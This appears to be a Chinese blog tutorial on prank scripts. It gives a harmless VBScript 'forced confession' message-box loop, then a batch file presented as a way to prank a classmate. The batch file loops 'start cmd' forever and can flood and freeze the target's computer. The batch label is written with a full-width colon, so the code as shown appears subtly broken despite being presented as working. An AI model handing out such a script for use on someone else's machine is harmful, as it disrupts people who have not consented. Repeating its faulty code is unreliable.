最近，抖音上很火的表白代码，恶搞的小程序。往往用几行英文都能敲打出来。有许多人很感兴趣，但不知道怎么做。其实原理特别的简单，下面我就给大家演示一遍。 其实这用的只是很基础的VB脚本代码就能做出来了，而这次专门收集了一些很有意思的代码分享给大家。有各种代码哦，表白，恶搞的都有，具体操作很简单，接下来小编就来教大家一下。超简单的，学不会你可以打死我，学会了你就点个赞评论666咯，
首先是撩妹
第一步：现在电脑上新建一个文档text。
第二步： 然后将代码复制进去，里面中文的内容可以根据自己的需求来修改，而英文和标点符号千万不要修改哦，改了就无法执行了。先来第一个“强行表白大法”，下面是代码：
msgbox "做我女朋友好吗",vbQuestion,"在吗"
msgbox ("房产写你名字")
msgbox ("保大")
msgbox ("我妈会游泳")
dim j
do while j<1
Select Case msgbox("做我女朋友好吗",68,"请郑重的回答我")
Case 6 j=1
Case 7 msgbox("再给你一次机会")
end Select
loop
msgbox("我就知道你会同意的，哈哈哈哈")
修改好之后保存，再右击文件重命名将文件.txt 后缀改为 .vbs 后缀。（这里补充一点如果没有显示文件后缀的小伙伴，可以在我的电脑里进入文件夹和搜索选项，再去掉隐藏已知文件类型的扩展名的勾再点确定就行了，具体操作看下面，4步搞定）
整同学：
第一步:同上建立一个txt文件。
第二步:复制代码如下:
：start
start cmd
goto start
第三步：把后缀名改为bat
就可以好好整整你的同桌了。
